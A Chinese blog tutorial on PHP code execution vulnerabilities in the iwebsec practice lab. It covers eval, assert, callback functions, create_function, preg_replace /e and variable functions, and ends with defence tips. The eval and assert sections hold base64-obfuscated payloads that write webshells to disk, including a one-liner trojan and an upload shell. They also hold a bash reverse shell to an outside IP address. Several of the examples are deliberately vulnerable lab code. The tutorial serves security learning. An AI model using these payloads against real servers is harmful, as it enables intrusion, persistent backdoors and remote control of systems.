文章目录
- 00-代码执行漏洞原理
- 环境
- 01-eval函数示例
- 命令执行
- 写入webshell
- bash反弹shell
- 02-assert函数示例
- webshell
- 03-call_user_func函数示例
- 04-call_user_func_array函数示例
- 总结
- 05-create_function函数示例
- 06-array_map函数示例
- 总结
- 08-preg_replace漏洞函数示例
- 07-preg_replace无漏洞函数示例
- 总结
- 09-可变函数漏洞示例01
- 10-可变函数漏洞示例02
- 疑问
- 11-漏洞防御
00-代码执行漏洞原理
代码执行漏洞是指应用程序本身过滤不严,用户可以通过请求将代码注入到应用中执行。PHP代码执行漏洞可以把代码注入应用中最终到webserver去执行。这样的漏洞如果没有特殊的过滤,相当于一个web后门的存在。该漏洞主要由
eval()、assert()、preg_replace()、call_user_func()、call_user_func_array()、array_map()
等函数的参数过滤不严格导致,另外还有PHP的动态函数$a($b)
。【摘自《代码审计——企业级Web代码安全架构》】
命令执行漏洞与代码执行漏洞的区别:命令执行漏洞是可以直接调用操作系统命令,代码执行漏洞是靠执行脚本代码调用操作系统命令。
环境
该学习过程使用iwebsec环境。
01-eval函数示例
eval()
函数原本的作用就是用来动态执行代码,所以它们的参数直接是PHP代码。主要源码如下,与一句话木马相似,印证了“相当于一个web后门的存在”:
<?php
if(isset($_POST[1])){ //post方式接收一个参数
@eval($_POST[1]); //执行传入的参数
}else{
exit();
}
?>
命令执行
执行脚本代码调用操作系统命令。
使用echo
进行输出。
这个原理后面会用到:利用post传参,不能出现<
、>
、+
、=
、/
等符号。
写入webshell
参考了这篇文章,php中代码执行&&命令执行函数。
fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdEUXBBSkhSbGJYQWdQU0FrWDBaSlRFVlRXeWQxY0d4dllXUmZabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRPdzBLUUNSbWFXeGxJRDBnWW1GelpXNWhiV1VvSkY5R1NVeEZVMXNuZFhCc2IyRmtYMlpwYkdVblhWc25ibUZ0WlNkZEtUc05DbWxtSUNobGJYQjBlU0FvSkdacGJHVXBLWHNOQ21WamFHOGdJanhtYjNKdElHRmpkR2x2YmlBOUlDY25JRzFsZEdodlpDQTlJQ2RRVDFOVUp5QkZUa05VV1ZCRlBTZHRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhKejVjYmlJN1pXTm9ieUFpVEc5allXd2dabWxzWlRvZ1BHbHVjSFYwSUhSNWNHVWdQU0FuWm1sc1pTY2dibUZ0WlNBOUlDZDFjR3h2WVdSZlptbHNaU2MrWEc0aU8yVmphRzhnSWp4cGJuQjFkQ0IwZVhCbElEMGdKM04xWW0xcGRDY2dkbUZzZFdVZ1BTQW5WWEJzYjJGa0p6NWNiaUk3WldOb2J5QWlQQzltYjNKdFBseHVQSEJ5WlQ1Y2JseHVQQzl3Y21VK0lqdDlaV3h6WlNCN2FXWW9iVzkyWlY5MWNHeHZZV1JsWkY5bWFXeGxLQ1IwWlcxd0xDUm1hV3hsS1NsN1pXTm9ieUFpUm1sc1pTQjFjR3h2WVdSbFpDQnpkV05qWlhOelpuVnNiSGt1UEhBK1hHNGlPMzFsYkhObElIdGxZMmh2SUNKVmJtRmliR1VnZEc4Z2RYQnNiMkZrSUNJZ0xpQWtabWxzWlNBdUlDSXVQSEErWEc0aU8zMTlQejQ9)));
用burpsuite的解码一下主要部分
解码
fputs(fopen(shell.php,w),<?php
@$temp = $_FILES['upload_file']['tmp_name'];
@$file = basename($_FILES['upload_file']['name']);
if (empty ($file)){
echo "<form action = '' method = 'POST' ENCTYPE='multipart/form-data'>\n";echo "Local file: <input type = 'file' name = 'upload_file'>\n";echo "<input type = 'submit' value = 'Upload'>\n";echo "</form>\n<pre>\n\n</pre>";}else {if(move_uploaded_file($temp,$file)){echo "File uploaded successfully.<p>\n";}else {echo "Unable to upload " . $file . ".<p>\n";}}?>)
- 写入上传马文件
- 写入成功
- 访问上传马
- 写入一句话木马
- 蚁剑连接
- 新写入的木马文件
我要自己构造一个写入木马的方法。
木马文件内容
木马文件名称
构造出来的语句
fputs(fopen(base64_decode(MjIucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUc2dQejQ9)));
注入点写入
蚁剑连接
成功了,很好
bash反弹shell
<?php system("bash -i >& /dev/tcp/8.134.148.36/2233 0>&1"); ?>
构造出语句
fputs(fopen(base64_decode(MzMucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdjM2x6ZEdWdEtDSmlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMemd1TVRNMExqRTBPQzR6Tmk4eU1qTXpJREErSmpFaUtUc2dJRDgr)));
监听端口
02-assert函数示例
assert()功能:判断一个表达式是否成立,返回true or false,重点是该函数会执行此表达式。与eval类似,字符串被 assert() 当做 PHP 代码来执行。
webshell
利用上面的shell,木马文件名为22.php
,密码为1
fputs(fopen(base64_decode(MjIucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUc2dQejQ9)));
注入
蚁剑连接
源代码
<?php
if(isset($_POST[1])){
@assert($_POST[1]);
}else{
exit();
}
?>
03-call_user_func函数示例
什么是回调函数?
回调函数是指调用函数的时候将另一个函数作为参数传递到调用的函数中,而不是传递一个普通的变量作为参数。使用回调函数是为了可以将一段自己定义的功能传到函数内部使用。
源代码
<?php
if(isset($_POST['fun'])||isset($_POST['arg'])){
//第一个参数是我们想要调用的函数名,第二个参数是调用函数的参数
call_user_func($_POST['fun'], $_POST['arg']);
}else{
exit();
}
?>
04-call_user_func_array函数示例
<?php
if(isset($_POST['fun'])||isset($_POST['arg'])){
call_user_func_array($_POST['fun'], $_POST['arg']);
}else{
exit();
}
?>
总结
call_user_func()、call_user_func_array()函数的功能是调用函数,多用在框架中动态调用函数,所以一般比较小的程序较少出现这种方式的代码执行。
05-create_function函数示例
<?php
if(isset($_GET['id'])){
$id = $_GET['id']; //通过get方式传参
$code = 'echo '.$func.'test'.$id.';'; //$code是构建的函数里面的代码
create_function('$func',$code); //$func是构建的函数的参数
}else{
exit();
}
?>
------------------------可以理解为------------------------
<?php
if(isset($_GET['id'])){
$id = $_GET['id'];
函数名('$func'){
//$code
echo $func.'test'.$id;
}
}else{
exit();
}
?>
------------------------输入 id=1;}phpinfo();/* ------------------------
<?php
if(isset($_GET['id'])){
$id = '1;}phpinfo();/*';
//假设$func='111111',只是方便理解
函数名('$func'){
echo "111111"."test"."1;}phpinfo();/*";
}
}else{
exit();
}
?>
------------------------整理一下------------------------
<?php
if(isset($_GET['id'])){
$id = '1;}phpinfo();/*';
函数名('$func'){
//echo之后的结果 111111test1;}phpinfo();/*
111111test1;
}
phpinfo(); //该函数内部有eval(),可以执行字符串.这可能需要深入理解一下create_function才行
/*; //这是多行注释符,意味着下面的代码会被注释掉
}
}else{
exit();
}
?>
这个有点难理解,可以一步一步整理一下。
06-array_map函数示例
array_map() 函数将用户自定义函数作用到数组中的每个值上(漏洞原理:为数组的每个元素应用回调函数),并返回用户自定义函数作用后的带有新的值的数组。
<?php
if(isset($_GET['func'])||isset($_GET['argv'])){
$func=$_GET['func']; //自定义的函数名
$argv=$_GET['argv']; //可控制的参数
$array[0]=$argv;
array_map($func,$array); //调用func的函数,传入array参数
}else{
exit();
}
?>
总结
array_map()函数的作用是调用函数,并且除第一个参数外其他参数为数组,通常会写死第一个参数,即写死调用函数。
call_user_func()、call_user_func_array()、array_map()等函数有调用其他函数的功能,其中一个参数作为要调用的函数名,如果这个传入的参数名可控,那就可以调用意外的函数来执行我们想知道的代码,也就是存在代码执行漏洞。【摘自《代码审计——企业级Web代码安全架构》】
08-preg_replace漏洞函数示例
漏洞触发原理:第一个参数存在e
标识符的话,第二个参数的值会被当做PHP代码来执行。
源码
<?php
if(isset($_GET["name"])){
$subject= 'hello hack';
$pattern = '/hack/e'; //漏洞点
$replacement = $_GET["name"];
echo preg_replace($pattern, $replacement, $subject);
//$subject能匹配$pattern,所以$replacement一定会被当做PHP代码执行
}else{
exit();
}
?>
利用
07-preg_replace无漏洞函数示例
<?php
if(isset($_GET["name"])){
$subject= 'hello hack';
$pattern = '/hack/';
$replacement = $_GET["name"];
echo preg_replace($pattern, $replacement, $subject);
}else{
exit();
}
?>
总结
preg_replace()函数的代码执行需要存在/e
,这个函数原本是用来处理字符串的,因此漏洞出现最多的是在对字符串的处理,比如URL、HTML标签以及文章内容等过滤功能。【摘自《代码审计——企业级Web代码安全架构》】
09-可变函数漏洞示例01
什么是可变函数?
PHP支持变量函数:通过变量保存一个函数的名字,然后在变量后跟上一个小括号就能调用。
为什么要使用可变函数?
这种写法跟使用call_user_func的初衷一样,大多用在框架里,用来更简单更方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。
源码
<?php
if(isset($_REQUEST['func'])){
function func1() {
echo "func1函数";
}
function func2($arg = '') {
echo "func2函数";
}
$func = $_REQUEST['func'];
//它没有对输入的参数进行限定,意味着我们可以控制参数,写入非func1和func2的函数名
echo $func();
}else{
exit();
}
?>
利用
10-可变函数漏洞示例02
<?php
if(isset($_REQUEST['func'])){
function func1() {
echo "func1函数";
}
function func2($arg = '') {
echo "func2函数";
}
function func3($arg){
echo "func3函数的参数是".$arg;
}
$func = $_REQUEST['func']; //可控参数
$arg = $_REQUEST['arg']; //可控参数
echo $func($arg);
}else{
exit();
}
?>
利用
疑问
这是10-可变函数漏洞示例02
这是05-create_function函数示例
首先我们来测试一下下面的代码
<?php
echo "phpinfo()";
echo "\n-------------------------";
echo eval("phpinfo();");
?>
结果如下,第一个echo
只能输出字符串phpinfo()
,而不能执行。第三个才能echo
出phpinfo()
执行的结果。
因为create_function()
在内部执行了eval(),就像上面代码的第三个echo
一样。
11-漏洞防御
- 对于必须使用eval的地方,一定严格处理用户数据(白名单、黑名单)。
- 字符串使用单引号包括起可控代码,插入前使用addslashes转义(addslashes、魔术引号、 htmlspecialchars、 htmlentities、mysql_real_escape_string)。
- 放弃使用preg_replace的
e
修饰符,使用preg_replace_callback()替换。 - 若必须使用preg_replace的
e
修饰符,则必用单引号包裹正则匹配出的对象(第二个参数使用单引号包裹)。
希望来到最后的看官们能点个赞~ 非常感谢~